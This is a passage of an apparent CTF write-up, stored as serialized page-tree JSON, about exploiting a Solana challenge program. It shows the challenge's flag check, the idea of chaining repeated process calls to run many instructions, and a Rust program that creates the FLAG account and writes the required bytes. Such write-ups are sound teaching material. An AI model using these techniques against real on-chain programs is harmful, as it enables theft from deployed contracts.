&&",{"type":21,"tag":153,"props":2480,"children":2481},{"style":214},[2482],{"type":26,"value":323},{"type":21,"tag":153,"props":2484,"children":2485},{"style":198},[2486],{"type":26,"value":265},{"type":21,"tag":153,"props":2488,"children":2489},{"style":181},[2490],{"type":26,"value":2491},"from_le_bytes",{"type":21,"tag":153,"props":2493,"children":2494},{"style":160},[2495],{"type":26,"value":189},{"type":21,"tag":153,"props":2497,"children":2498},{"style":192},[2499],{"type":26,"value":2357},{"type":21,"tag":153,"props":2501,"children":2502},{"style":198},[2503],{"type":26,"value":355},{"type":21,"tag":153,"props":2505,"children":2506},{"style":160},[2507],{"type":26,"value":2508},"data[",{"type":21,"tag":153,"props":2510,"children":2511},{"style":198},[2512],{"type":26,"value":341},{"type":21,"tag":153,"props":2514,"children":2515},{"style":300},[2516],{"type":26,"value":303},{"type":21,"tag":153,"props":2518,"children":2519},{"style":160},[2520],{"type":26,"value":350},{"type":21,"tag":153,"props":2522,"children":2523},{"style":198},[2524],{"type":26,"value":355},{"type":21,"tag":153,"props":2526,"children":2527},{"style":181},[2528],{"type":26,"value":360},{"type":21,"tag":153,"props":2530,"children":2531},{"style":160},[2532],{"type":26,"value":365},{"type":21,"tag":153,"props":2534,"children":2535},{"style":198},[2536],{"type":26,"value":355},{"type":21,"tag":153,"props":2538,"children":2539},{"style":181},[2540],{"type":26,"value":374},{"type":21,"tag":153,"props":2542,"children":2543},{"style":160},[2544],{"type":26,"value":2545},"()) ",{"type":21,"tag":153,"props":2547,"children":2548},{"style":198},[2549],{"type":26,"value":1694},{"type":21,"tag":153,"props":2551,"children":2552},{"style":300},[2553],{"type":26,"value":2554}," 0x4337\n",{"type":21,"tag":153,"props":2556,"children":2557},{"class":155,"line":382},[2558],{"type":21,"tag":153,"props":2559,"children":2560},{"style":160},[2561],{"type":26,"value":2562},"    {\n",{"type":21,"tag":153,"props":2564,"children":2565},{"class":155,"line":501},[2566,2571,2575,2579,2583,2588,2592,2596],{"type":21,"tag":153,"props":2567,"children":2568},{"style":181},[2569],{"type":26,"value":2570},"        writeln!",{"type":21,"tag":153,"props":2572,"children":2573},{"style":160},[2574],{"type":26,"value":189},{"type":21,"tag":153,"props":2576,"children":2577},{"style":192},[2578],{"type":26,"value":1592},{"type":21,"tag":153,"props":2580,"children":2581},{"style":160},[2582],{"type":26,"value":1670},{"type":21,"tag":153,"props":2584,"children":2585},{"style":671},[2586],{"type":26,"value":2587},"\"congrats!\"",{"type":21,"tag":153,"props":2589,"children":2590},{"style":160},[2591],{"type":26,"value":2071},{"type":21,"tag":153,"props":2593,"children":2594},{"style":198},[2595],{"type":26,"value":2022},{"type":21,"tag":153,"props":2597,"children":2598},{"style":160},[2599],{"type":26,"value":1759},{"type":21,"tag":153,"props":2601,"children":2602},{"class":155,"line":533},[2603,2608,2612,2617,2621,2625,2629,2633,2638,2642,2647,2651,2655],{"type":21,"tag":153,"props":2604,"children":2605},{"style":1751},[2606],{"type":26,"value":2607},"        if",{"type":21,"tag":153,"props":2609,"children":2610},{"style":170},[2611],{"type":26,"value":2343},{"type":21,"tag":153,"props":2613,"children":2614},{"style":214},[2615],{"type":26,"value":2616}," Ok",{"type":21,"tag":153,"props":2618,"children":2619},{"style":160},[2620],{"type":26,"value":189},{"type":21,"tag":153,"props":2622,"children":2623},{"style":192},[2624],{"type":26,"value":2406},{"type":21,"tag":153,"props":2626,"children":2627},{"style":160},[2628],{"type":26,"value":2362},{"type":21,"tag":153,"props":2630,"children":2631},{"style":198},[2632],{"type":26,"value":2367},{"type":21,"tag":153,"props":2634,"children":2635},{"style":160},[2636],{"type":26,"value":2637}," env",{"type":21,"tag":153,"props":2639,"children":2640},{"style":198},[2641],{"type":26,"value":265},{"type":21,"tag":153,"props":2643,"children":2644},{"style":181},[2645],{"type":26,"value":2646},"var",{"type":21,"tag":153,"props":2648,"children":2649},{"style":160},[2650],{"type":26,"value":189},{"type":21,"tag":153,"props":2652,"children":2653},{"style":671},[2654],{"type":26,"value":2292},{"type":21,"tag":153,"props":2656,"children":2657},{"style":160},[2658],{"type":26,"value":2659},") {\n",{"type":21,"tag":153,"props":2661,"children":2662},{"class":155,"line":542},[2663,2668,2672,2676,2680,2685,2689,2693,2697,2701],{"type":21,"tag":153,"props":2664,"children":2665},{"style":181},[2666],{"type":26,"value":2667},"            writeln!",{"type":21,"tag":153,"props":2669,"children":2670},{"style":160},[2671],{"type":26,"value":189},{"type":21,"tag":153,"props":2673,"children":2674},{"style":192},[2675],{"type":26,"value":1592},{"type":21,"tag":153,"props":2677,"children":2678},{"style":160},[2679],{"type":26,"value":1670},{"type":21,"tag":153,"props":2681,"children":2682},{"style":671},[2683],{"type":26,"value":2684},"\"flag: {:?}\"",{"type":21,"tag":153,"props":2686,"children":2687},{"style":160},[2688],{"type":26,"value":1670},{"type":21,"tag":153,"props":2690,"children":2691},{"style":192},[2692],{"type":26,"value":2406},{"type":21,"tag":153,"props":2694,"children":2695},{"style":160},[2696],{"type":26,"value":2071},{"type":21,"tag":153,"props":2698,"children":2699},{"style":198},[2700],{"type":26,"value":2022},{"type":21,"tag":153,"props":2702,"children":2703},{"style":160},[2704],{"type":26,"value":1759},{"type":21,"tag":153,"props":2706,"children":2707},{"class":155,"line":762},[2708,2713,2718],{"type":21,"tag":153,"props":2709,"children":2710},{"style":160},[2711],{"type":26,"value":2712},"        } ",{"type":21,"tag":153,"props":2714,"children":2715},{"style":1751},[2716],{"type":26,"value":2717},"else",{"type":21,"tag":153,"props":2719,"children":2720},{"style":160},[2721],{"type":26,"value":236},{"type":21,"tag":153,"props":2723,"children":2724},{"class":155,"line":776},[2725,2729,2733,2737,2741,2746,2750,2754],{"type":21,"tag":153,"props":2726,"children":2727},{"style":181},[2728],{"type":26,"value":2667},{"type":21,"tag":153,"props":2730,"children":2731},{"style":160},[2732],{"type":26,"value":189},{"type":21,"tag":153,"props":2734,"children":2735},{"style":192},[2736],{"type":26,"value":1592},{"type":21,"tag":153,"props":2738,"children":2739},{"style":160},[2740],{"type":26,"value":1670},{"type":21,"tag":153,"props":2742,"children":2743},{"style":671},[2744],{"type":26,"value":2745},"\"flag not found, please contact admin\"",{"type":21,"tag":153,"props":2747,"children":2748},{"style":160},[2749],{"type":26,"value":2071},{"type":21,"tag":153,"props":2751,"children":2752},{"style":198},[2753],{"type":26,"value":2022},{"type":21,"tag":153,"props":2755,"children":2756},{"style":160},[2757],{"type":26,"value":1759},{"type":21,"tag":153,"props":2759,"children":2760},{"class":155,"line":795},[2761],{"type":21,"tag":153,"props":2762,"children":2763},{"style":160},[2764],{"type":26,"value":2765},"        }\n",{"type":21,"tag":153,"props":2767,"children":2768},{"class":155,"line":808},[2769],{"type":21,"tag":153,"props":2770,"children":2771},{"style":160},[2772],{"type":26,"value":539},{"type":21,"tag":153,"props":2774,"children":2775},{"class":155,"line":820},[2776],{"type":21,"tag":153,"props":2777,"children":2778},{"style":160},[2779],{"type":26,"value":548},{"type":21,"tag":66,"props":2781,"children":2783},{"id":2782},"solution-idea",[2784],{"type":26,"value":2785},"Solution Idea",{"type":21,"tag":22,"props":2787,"children":2788},{},[2789,2791,2797],{"type":26,"value":2790},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":21,"tag":78,"props":2792,"children":2794},{"className":2793},[],[2795],{"type":26,"value":2796},"process",{"type":26,"value":2798}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":21,"tag":22,"props":2800,"children":2801},{},[2802,2804,2810],{"type":26,"value":2803},"In order to get the flag, we need to make sure that the account at ",{"type":21,"tag":78,"props":2805,"children":2807},{"className":2806},[],[2808],{"type":26,"value":2809},"PDA(\"FLAG\")",{"type":26,"value":2811}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":21,"tag":22,"props":2813,"children":2814},{},[2815,2817,2824],{"type":26,"value":2816},"Essentially, we need to ",{"type":21,"tag":29,"props":2818,"children":2821},{"href":2819,"rel":2820},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[33],[2822],{"type":26,"value":2823},"invoke the System Program",{"type":26,"value":2825},", and write controlled data into the newly created account.",{"type":21,"tag":22,"props":2827,"children":2828},{},[2829],{"type":26,"value":2830},"A sample program that does this is as follows:",{"type":21,"tag":143,"props":2832,"children":2834},{"className":145,"code":2833,"language":147,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[2835],{"type":21,"tag":78,"props":2836,"children":2837},{"__ignoreMap":7},[2838,2858,2883,2913,2942,2963,3001,3038,3045,3054,3087,3104,3129,3150,3202,3228,3237,3251,3299,3344,3353,3362,3374,3391,3403,3425,3446,3454,3491,3507,3515,3524,3605,3613,3627],{"type":21,"tag":153,"props":2839,"children":2840},{"class":155,"line":156},[2841,2845,2849,2854],{"type":21,"tag":153,"props":2842,"children":2843},{"style":170},[2844],{"type":26,"value":173},{"type":21,"tag":153,"props":2846,"children":2847},{"style":170},[2848],{"type":26,"value":178},{"type":21,"tag":153,"props":2850,"children":2851},{"style":181},[2852],{"type":26,"value":2853}," process_instruction",{"type":21,"tag":153,"props":2855,"children":2856},{"style":160},[2857],{"type":26,"value":773},{"type":21,"tag":153,"props":2859,"children":2860},{"class":155,"line":166},[2861,2866,2870,2874,2879],{"type":21,"tag":153,"props":2862,"children":2863},{"style":192},[2864],{"type":26,"value":2865},"    program_id",{"type":21,"tag":153,"props":2867,"children":2868},{"style":198},[2869],{"type":26,"value":201},{"type":21,"tag":153,"props":2871,"children":2872},{"style":198},[2873],{"type":26,"value":206},{"type":21,"tag":153,"props":2875,"children":2876},{"style":214},[2877],{"type":26,"value":2878},"Pubkey",{"type":21,"tag":153,"props":2880,"children":2881},{"style":160},[2882],{"type":26,"value":792},{"type":21,"tag":153,"props":2884,"children":2885},{"class":155,"line":225},[2886,2891,2895,2899,2903,2908],{"type":21,"tag":153,"props":2887,"children":2888},{"style":192},[2889],{"type":26,"value":2890},"    accounts",{"type":21,"tag":153,"props":2892,"children":2893},{"style":198},[2894],{"type":26,"value":201},{"type":21,"tag":153,"props":2896,"children":2897},{"style":198},[2898],{"type":26,"value":206},{"type":21,"tag":153,"props":2900,"children":2901},{"style":160},[2902],{"type":26,"value":211},{"type":21,"tag":153,"props":2904,"children":2905},{"style":214},[2906],{"type":26,"value":2907},"AccountInfo",{"type":21,"tag":153,"props":2909,"children":2910},{"style":160},[2911],{"type":26,"value":2912},"],\n",{"type":21,"tag":153,"props":2914,"children":2915},{"class":155,"line":239},[2916,2921,2925,2929,2933,2937],{"type":21,"tag":153,"props":2917,"children":2918},{"style":192},[2919],{"type":26,"value":2920},"    data",{"type":21,"tag":153,"props":2922,"children":2923},{"style":198},[2924],{"type":26,"value":201},{"type":21,"tag":153,"props":2926,"children":2927},{"style":198},[2928],{"type":26,"value":206},{"type":21,"tag":153,"props":2930,"children":2931},{"style":160},[2932],{"type":26,"value":211},{"type":21,"tag":153,"props":2934,"children":2935},{"style":214},[2936],{"type":26,"value":217},{"type":21,"tag":153,"props":2938,"children":2939},{"style":160},[2940],{"type":26,"value":2941},"]\n",{"type":21,"tag":153,"props":2943,"children":2944},{"class":155,"line":382},[2945,2949,2954,2959],{"type":21,"tag":153,"props":2946,"children":2947},{"style":160},[2948],{"type":26,"value":2362},{"type":21,"tag":153,"props":2950,"children":2951},{"style":198},[2952],{"type":26,"value":2953},"->",{"type":21,"tag":153,"props":2955,"children":2956},{"style":214},[2957],{"type":26,"value":2958}," ProgramResult",{"type":21,"tag":153,"props":2960,"children":2961},{"style":160},[2962],{"type":26,"value":236},{"type":21,"tag":153,"props":2964,"children":2965},{"class":155,"line":501},[2966,2970,2975,2979,2983,2988,2992,2997],{"type":21,"tag":153,"props":2967,"children":2968},{"style":170},[2969],{"type":26,"value":629},{"type":21,"tag":153,"props":2971,"children":2972},{"style":192},[2973],{"type":26,"value":2974}," flag_pda_ai",{"type":21,"tag":153,"props":2976,"children":2977},{"style":198},[2978],{"type":26,"value":255},{"type":21,"tag":153,"props":2980,"children":2981},{"style":198},[2982],{"type":26,"value":206},{"type":21,"tag":153,"props":2984,"children":2985},{"style":192},[2986],{"type":26,"value":2987},"accounts",{"type":21,"tag":153,"props":2989,"children":2990},{"style":160},[2991],{"type":26,"value":211},{"type":21,"tag":153,"props":2993,"children":2994},{"style":300},[2995],{"type":26,"value":2996},"0",{"type":21,"tag":153,"props":2998,"children":2999},{"style":160},[3000],{"type":26,"value":1234},{"type":21,"tag":153,"props":3002,"children":3003},{"class":155,"line":533},[3004,3008,3013,3017,3021,3025,3029,3034],{"type":21,"tag":153,"props":3005,"children":3006},{"style":170},[3007],{"type":26,"value":629},{"type":21,"tag":153,"props":3009,"children":3010},{"style":192},[3011],{"type":26,"value":3012}," user_ai",{"type":21,"tag":153,"props":3014,"children":3015},{"style":198},[3016],{"type":26,"value":255},{"type":21,"tag":153,"props":3018,"children":3019},{"style":198},[3020],{"type":26,"value":206},{"type":21,"tag":153,"props":3022,"children":3023},{"style":192},[3024],{"type":26,"value":2987},{"type":21,"tag":153,"props":3026,"children":3027},{"style":160},[3028],{"type":26,"value":211},{"type":21,"tag":153,"props":3030,"children":3031},{"style":300},[3032],{"type":26,"value":3033},"1",{"type":21,"tag":153,"props":3035,"children":3036},{"style":160},[3037],{"type":26,"value":1234},{"type":21,"tag":153,"props":3039,"children":3040},{"class":155,"line":542},[3041],{"type":21,"tag":153,"props":3042,"children":3043},{"emptyLinePlaceholder":16},[3044],{"type":26,"value":759},{"type":21,"tag":153,"props":3046,"children":3047},{"class":155,"line":762},[3048],{"type":21,"tag":153,"props":3049,"children":3051},{"style":3050},"--shiki-default:#6A9955",[3052],{"type":26,"value":3053},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":21,"tag":153,"props":3055,"children":3056},{"class":155,"line":776},[3057,3061,3066,3070,3074,3078,3083],{"type":21,"tag":153,"props":3058,"children":3059},{"style":170},[3060],{"type":26,"value":629},{"type":21,"tag":153,"props":3062,"children":3063},{"style":192},[3064],{"type":26,"value":3065}," instruction",{"type":21,"tag":153,"props":3067,"children":3068},{"style":198},[3069],{"type":26,"value":255},{"type":21,"tag":153,"props":3071,"children":3072},{"style":214},[3073],{"type":26,"value":643},{"type":21,"tag":153,"props":3075,"children":3076},{"style":198},[3077],{"type":26,"value":265},{"type":21,"tag":153,"props":3079,"children":3080},{"style":181},[3081],{"type":26,"value":3082},"new_with_bincode",{"type":21,"tag":153,"props":3084,"children":3085},{"style":160},[3086],{"type":26,"value":773},{"type":21,"tag":153,"props":3088,"children":3089},{"class":155,"line":795},[3090,3095,3099],{"type":21,"tag":153,"props":3091,"children":3092},{"style":160},[3093],{"type":26,"value":3094},"        system_program",{"type":21,"tag":153,"props":3096,"children":3097},{"style":198},[3098],{"type":26,"value":265},{"type":21,"tag":153,"props":3100,"children":3101},{"style":160},[3102],{"type":26,"value":3103},"ID,\n",{"type":21,"tag":153,"props":3105,"children":3106},{"class":155,"line":808},[3107,3111,3116,3120,3125],{"type":21,"tag":153,"props":3108,"children":3109},{"style":198},[3110],{"type":26,"value":782},{"type":21,"tag":153,"props":3112,"children":3113},{"style":160},[3114],{"type":26,"value":3115},"SystemInstruction",{"type":21,"tag":153,"props":3117,"children":3118},{"style":198},[3119],{"type":26,"value":265},{"type":21,"tag":153,"props":3121,"children":3122},{"style":214},[3123],{"type":26,"value":3124},"CreateAccount",{"type":21,"tag":153,"props":3126,"children":3127},{"style":160},[3128],{"type":26,"value":236},{"type":21,"tag":153,"props":3130,"children":3131},{"class":155,"line":820},[3132,3137,3141,3146],{"type":21,"tag":153,"props":3133,"children":3134},{"style":192},[3135],{"type":26,"value":3136},"            space",{"type":21,"tag":153,"props":3138,"children":3139},{"style":198},[3140],{"type":26,"value":201},{"type":21,"tag":153,"props":3142,"children":3143},{"style":300},[3144],{"type":26,"value":3145}," 0x1337",{"type":21,"tag":153,"props":3147,"children":3148},{"style":160},[3149],{"type":26,"value":792},{"type":21,"tag":153,"props":3151,"children":3152},{"class":155,"line":842},[3153,3158,3162,3167,3171,3176,3180,3184,3189,3193,3198],{"type":21,"tag":153,"props":3154,"children":3155},{"style":192},[3156],{"type":26,"value":3157},"            lamports",{"type":21,"tag":153,"props":3159,"children":3160},{"style":198},[3161],{"type":26,"value":201},{"type":21,"tag":153,"props":3163,"children":3164},{"style":160},[3165],{"type":26,"value":3166}," Rent",{"type":21,"tag":153,"props":3168,"children":3169},{"style":198},[3170],{"type":26,"value":265},{"type":21,"tag":153,"props":3172,"children":3173},{"style":181},[3174],{"type":26,"value":3175},"default",{"type":21,"tag":153,"props":3177,"children":3178},{"style":160},[3179],{"type":26,"value":365},{"type":21,"tag":153,"props":3181,"children":3182},{"style":198},[3183],{"type":26,"value":355},{"type":21,"tag":153,"props":3185,"children":3186},{"style":181},[3187],{"type":26,"value":3188},"minimum_balance",{"type":21,"tag":153,"props":3190,"children":3191},{"style":160},[3192],{"type":26,"value":189},{"type":21,"tag":153,"props":3194,"children":3195},{"style":300},[3196],{"type":26,"value":3197},"0x1337",{"type":21,"tag":153,"props":3199,"children":3200},{"style":160},[3201],{"type":26,"value":679},{"type":21,"tag":153,"props":3203,"children":3205},{"class":155,"line":3204},15,[3206,3211,3215,3219,3223],{"type":21,"tag":153,"props":3207,"children":3208},{"style":192},[3209],{"type":26,"value":3210},"            owner",{"type":21,"tag":153,"props":3212,"children":3213},{"style":198},[3214],{"type":26,"value":201},{"type":21,"tag":153,"props":3216,"children":3217},{"style":160},[3218],{"type":26,"value":1699},{"type":21,"tag":153,"props":3220,"children":3221},{"style":198},[3222],{"type":26,"value":265},{"type":21,"tag":153,"props":3224,"children":3225},{"style":160},[3226],{"type":26,"value":3227},"ID\n",{"type":21,"tag":153,"props":3229,"children":3231},{"class":155,"line":3230},16,[3232],{"type":21,"tag":153,"props":3233,"children":3234},{"style":160},[3235],{"type":26,"value":3236},"        },\n",{"type":21,"tag":153,"props":3238,"children":3240},{"class":155,"line":3239},17,[3241,3246],{"type":21,"tag":153,"props":3242,"children":3243},{"style":181},[3244],{"type":26,"value":3245},"        vec!",{"type":21,"tag":153,"props":3247,"children":3248},{"style":160},[3249],{"type":26,"value":3250},"[\n",{"type":21,"tag":153,"props":3252,"children":3254},{"class":155,"line":3253},18,[3255,3260,3264,3268,3272,3276,3281,3285,3290,3295],{"type":21,"tag":153,"props":3256,"children":3257},{"style":160},[3258],{"type":26,"value":3259},"            AccountMeta",{"type":21,"tag":153,"props":3261,"children":3262},{"style":198},[3263],{"type":26,"value":265},{"type":21,"tag":153,"props":3265,"children":3266},{"style":181},[3267],{"type":26,"value":1804},{"type":21,"tag":153,"props":3269,"children":3270},{"style":160},[3271],{"type":26,"value":189},{"type":21,"tag":153,"props":3273,"children":3274},{"style":198},[3275],{"type":26,"value":313},{"type":21,"tag":153,"props":3277,"children":3278},{"style":192},[3279],{"type":26,"value":3280},"user_ai",{"type":21,"tag":153,"props":3282,"children":3283},{"style":198},[3284],{"type":26,"value":355},{"type":21,"tag":153,"props":3286,"children":3287},{"style":160},[3288],{"type":26,"value":3289},"key, ",{"type":21,"tag":153,"props":3291,"children":3292},{"style":170},[3293],{"type":26,"value":3294},"true",{"type":21,"tag":153,"props":3296,"children":3297},{"style":160},[3298],{"type":26,"value":679},{"type":21,"tag":153,"props":3300,"children":3302},{"class":155,"line":3301},19,[3303,3307,3311,3315,3319,3323,3328,3332,3336,3340],{"type":21,"tag":153,"props":3304,"children":3305},{"style":160},[3306],{"type":26,"value":3259},{"type":21,"tag":153,"props":3308,"children":3309},{"style":198},[3310],{"type":26,"value":265},{"type":21,"tag":153,"props":3312,"children":3313},{"style":181},[3314],{"type":26,"value":1804},{"type":21,"tag":153,"props":3316,"children":3317},{"style":160},[3318],{"type":26,"value":189},{"type":21,"tag":153,"props":3320,"children":3321},{"style":198},[3322],{"type":26,"value":313},{"type":21,"tag":153,"props":3324,"children":3325},{"style":192},[3326],{"type":26,"value":3327},"flag_pda_ai",{"type":21,"tag":153,"props":3329,"children":3330},{"style":198},[3331],{"type":26,"value":355},{"type":21,"tag":153,"props":3333,"children":3334},{"style":160},[3335],{"type":26,"value":3289},{"type":21,"tag":153,"props":3337,"children":3338},{"style":170},[3339],{"type":26,"value":3294},{"type":21,"tag":153,"props":3341,"children":3342},{"style":160},[3343],{"type":26,"value":679},{"type":21,"tag":153,"props":3345,"children":3347},{"class":155,"line":3346},20,[3348],{"type":21,"tag":153,"props":3349,"children":3350},{"style":160},[3351],{"type":26,"value":3352},"        ],\n",{"type":21,"tag":153,"props":3354,"children":3356},{"class":155,"line":3355},21,[3357],{"type":21,"tag":153,"props":3358,"children":3359},{"style":160},[3360],{"type":26,"value":3361},"    );\n",{"type":21,"tag":153,"props":3363,"children":3365},{"class":155,"line":3364},22,[3366,3370],{"type":21,"tag":153,"props":3367,"children":3368},{"style":181},[3369],{"type":26,"value":768},{"type":21,"tag":153,"props":3371,"children":3372},{"style":160},[3373],{"type":26,"value":773},{"type":21,"tag":153,"props":3375,"children":3377},{"class":155,"line":3376},23,[3378,3382,3387],{"type":21,"tag":153,"props":3379,"children":3380},{"style":198},[3381],{"type":26,"value":782},{"type":21,"tag":153,"props":3383,"children":3384},{"style":192},[3385],{"type":26,"value":3386},"instruction",{"type":21,"tag":153,"props":3388,"children":3389},{"style":160},[3390],{"type":26,"value":792},{"type":21,"tag":153,"props":3392,"children":3394},{"class":155,"line":3393},24,[3395,3399],{"type":21,"tag":153,"props":3396,"children":3397},{"style":198},[3398],{"type":26,"value":782},{"type":21,"tag":153,"props":3400,"children":3401},{"style":160},[3402],{"type":26,"value":3250},{"type":21,"tag":153,"props":3404,"children":3406},{"class":155,"line":3405},25,[3407,3412,3416,3421],{"type":21,"tag":153,"props":3408,"children":3409},{"style":192},[3410],{"type":26,"value":3411},"            user_ai",{"type":21,"tag":153,"props":3413,"children":3414},{"style":198},[3415],{"type":26,"value":355},{"type":21,"tag":153,"props":3417,"children":3418},{"style":181},[3419],{"type":26,"value":3420},"clone",{"type":21,"tag":153,"props":3422,"children":3423},{"style":160},[3424],{"type":26,"value":721},{"type":21,"tag":153,"props":3426,"children":3428},{"class":155,"line":3427},26,[3429,3434,3438,3442],{"type":21,"tag":153,"props":3430,"children":3431},{"style":192},[3432],{"type":26,"value":3433},"            flag_pda_ai",{"type":21,"tag":153,"props":3435,"children":3436},{"style":198},[3437],{"type":26,"value":355},{"type":21,"tag":153,"props":3439,"children":3440},{"style":181},[3441],{"type":26,"value":3420},{"type":21,"tag":153,"props":3443,"children":3444},{"style":160},[3445],{"type":26,"value":721},{"type":21,"tag":153,"props":3447,"children":3449},{"class":155,"line":3448},27,[3450],{"type":21,"tag":153,"props":3451,"children":3452},{"style":160},[3453],{"type":26,"value":3352},{"type":21,"tag":153,"props":3455,"children":3457},{"class":155,"line":3456},28,[3458,3462,3466,3470,3474,3478,3482,3486],{"type":21,"tag":153,"props":3459,"children":3460},{"style":198},[3461],{"type":26,"value":782},{"type":21,"tag":153,"props":3463,"children":3464},{"style":160},[3465],{"type":26,"value":211},{"type":21,"tag":153,"props":3467,"children":3468},{"style":198},[3469],{"type":26,"value":1974},{"type":21,"tag":153,"props":3471,"children":3472},{"style":160},[3473],{"type":26,"value":211},{"type":21,"tag":153,"props":3475,"children":3476},{"style":671},[3477],{"type":26,"value":2292},{"type":21,"tag":153,"props":3479,"children":3480},{"style":198},[3481],{"type":26,"value":355},{"type":21,"tag":153,"props":3483,"children":3484},{"style":181},[3485],{"type":26,"value":2301},{"type":21,"tag":153,"props":3487,"children":3488},{"style":160},[3489],{"type":26,"value":3490},"()]],\n",{"type":21,"tag":153,"props":3492,"children":3494},{"class":155,"line":3493},29,[3495,3499,3503],{"type":21,"tag":153,"props":3496,"children":3497},{"style":160},[3498],{"type":26,"value":826},{"type":21,"tag":153,"props":3500,"children":3501},{"style":198},[3502],{"type":26,"value":2022},{"type":21,"tag":153,"props":3504,"children":3505},{"style":160},[3506],{"type":26,"value":1759},{"type":21,"tag":153,"props":3508,"children":3510},{"class":155,"line":3509},30,[3511],{"type":21,"tag":153,"props":3512,"children":3513},{"emptyLinePlaceholder":16},[3514],{"type":26,"value":759},{"type":21,"tag":153,"props":3516,"children":3518},{"class":155,"line":3517},31,[3519],{"type":21,"tag":153,"props":3520,"children":3521},{"style":3050},[3522],{"type":26,"value":3523},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":21,"tag":153,"props":3525,"children":3527},{"class":155,"line":3526},32,[3528,3533,3537,3542,3546,3550,3554,3558,3562,3566,3570,3575,3579,3583,3588,3592,3596,3601],{"type":21,"tag":153,"props":3529,"children":3530},{"style":192},[3531],{"type":26,"value":3532},"    flag_pda_ai",{"type":21,"tag":153,"props":3534,"children":3535},{"style":198},[3536],{"type":26,"value":355},{"type":21,"tag":153,"props":3538,"children":3539},{"style":181},[3540],{"type":26,"value":3541},"try_borrow_mut_data",{"type":21,"tag":153,"props":3543,"children":3544},{"style":160},[3545],{"type":26,"value":365},{"type":21,"tag":153,"props":3547,"children":3548},{"style":198},[3549],{"type":26,"value":2022},{"type":21,"tag":153,"props":3551,"children":3552},{"style":160},[3553],{"type":26,"value":211},{"type":21,"tag":153,"props":3555,"children":3556},{"style":198},[3557],{"type":26,"value":341},{"type":21,"tag":153,"props":3559,"children":3560},{"style":300},[3561],{"type":26,"value":303},{"type":21,"tag":153,"props":3563,"children":3564},{"style":160},[3565],{"type":26,"value":350},{"type":21,"tag":153,"props":3567,"children":3568},{"style":198},[3569],{"type":26,"value":355},{"type":21,"tag":153,"props":3571,"children":3572},{"style":181},[3573],{"type":26,"value":3574},"copy_from_slice",{"type":21,"tag":153,"props":3576,"children":3577},{"style":160},[3578],{"type":26,"value":189},{"type":21,"tag":153,"props":3580,"children":3581},{"style":198},[3582],{"type":26,"value":1974},{"type":21,"tag":153,"props":3584,"children":3585},{"style":300},[3586],{"type":26,"value":3587},"0x4337",{"type":21,"tag":153,"props":3589,"children":3590},{"style":214},[3591],{"type":26,"value":445},{"type":21,"tag":153,"props":3593,"children":3594},{"style":198},[3595],{"type":26,"value":355},{"type":21,"tag":153,"props":3597,"children":3598},{"style":181},[3599],{"type":26,"value":3600},"to_le_bytes",{"type":21,"tag":153,"props":3602,"children":3603},{"style":160},[3604],{"type":26,"value":379},{"type":21,"tag":153,"props":3606,"children":3608},{"class":155,"line":3607},33,[3609],{"type":21,"tag":153,"props":3610,"children":3611},{"emptyLinePlaceholder":16},[3612],{"type":26,"value":759},{"type":21,"tag":153,"props":3614,"children":3616},{"class":155,"line":3615},34,[3617,3622],{"type":21,"tag":153,"props":3618,"children":3619},{"style":214},[3620],{"type":26,"value":3621},"    Ok",{"type":21,"tag":153,"props":3623,"children":3624},{"style":160},[3625],{"type":26,"value":3626},"(())\n",{"type":21,"tag":153,"props":3628,"children":3630},{"class":155,"line":3629},35,[3631],{"type":21,"tag":153,"props":3632,"children":3633},{"style":160},[3634],{"type":26,"value":548},{"type":21,"tag":22,"props":3636,"children":3637},{},[3638],{"type":26,"value":3639},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":21,"tag":22,"props":3641,"children":3642},{},[3643],{"type":21,"tag":3644,"props":3645,"children":3648},"img",{"alt":3646,"src":3647},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":21,"tag":22,"props":3650,"children":3651},{},[3652],{"type":26,"value":3653},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":21,"tag":66,"props":3655,"children":3657},{"id":3656},"solution-implementation",[3658],{"type":26,"value":3659},"Solution Implementation",{"type":21,"tag":22,"props":3661,"children":3662},{},[3663,3665,3670],{"type":26,"value":3664},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":21,"tag":78,"props":3666,"children":3668},{"className":3667},[],[3669],{"type":26,"value":2796},{"type":26,"value":3671}," invocations:",{"type":21,"tag":143,"props":3673,"children":3677},{"className":3674,"code":3675,"language":3676,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[3678],{"type":21,"tag":78,"props":3679,"children":3680},{"__ignoreMap":7},[3681,3689,3697,3705,3713,3721,3729],{"type":21,"tag":153,"props":3682,"children":3683},{"class":155,"line":156},[3684],{"type":21,"tag":153,"props":3685,"children":3686},{},[3687],{"type":26,"value":3688},"graph 